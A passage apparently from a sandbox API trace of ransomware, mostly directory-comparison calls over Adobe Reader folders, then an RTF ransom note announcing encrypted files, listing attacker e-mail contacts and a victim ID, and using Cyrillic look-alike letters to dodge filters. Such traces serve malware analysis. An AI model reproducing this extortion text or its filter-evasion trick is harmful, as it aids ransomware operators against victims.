(x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount2=58) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount2=58) returned 2 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 1 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 1 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount1=61, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 2 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", cchCount2=48) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", cchCount2=48) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", cchCount2=48) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\", cchCount1=56, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", cchCount2=48) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\", cchCount1=52, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\", cchCount2=48) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount2=61) returned 1 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount2=61) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount1=61, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount2=61) returned 1 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount2=61) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount2=61) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\", cchCount2=80) returned 1 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\", cchCount2=80) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount1=61, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\", cchCount2=80) returned 1 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\", cchCount2=80) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\", cchCount2=80) returned 1 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount2=61) returned 1 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount2=61) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount1=61, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount2=61) returned 2 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\", cchCount2=61) returned 1 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\", cchCount2=61) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", cchCount1=61, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\", cchCount2=61) returned 1 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\", cchCount2=61) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\", cchCount2=61) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount2=64) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount2=64) returned 1 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount2=64) returned 3 [0038.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount2=64) returned 3 [0039.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 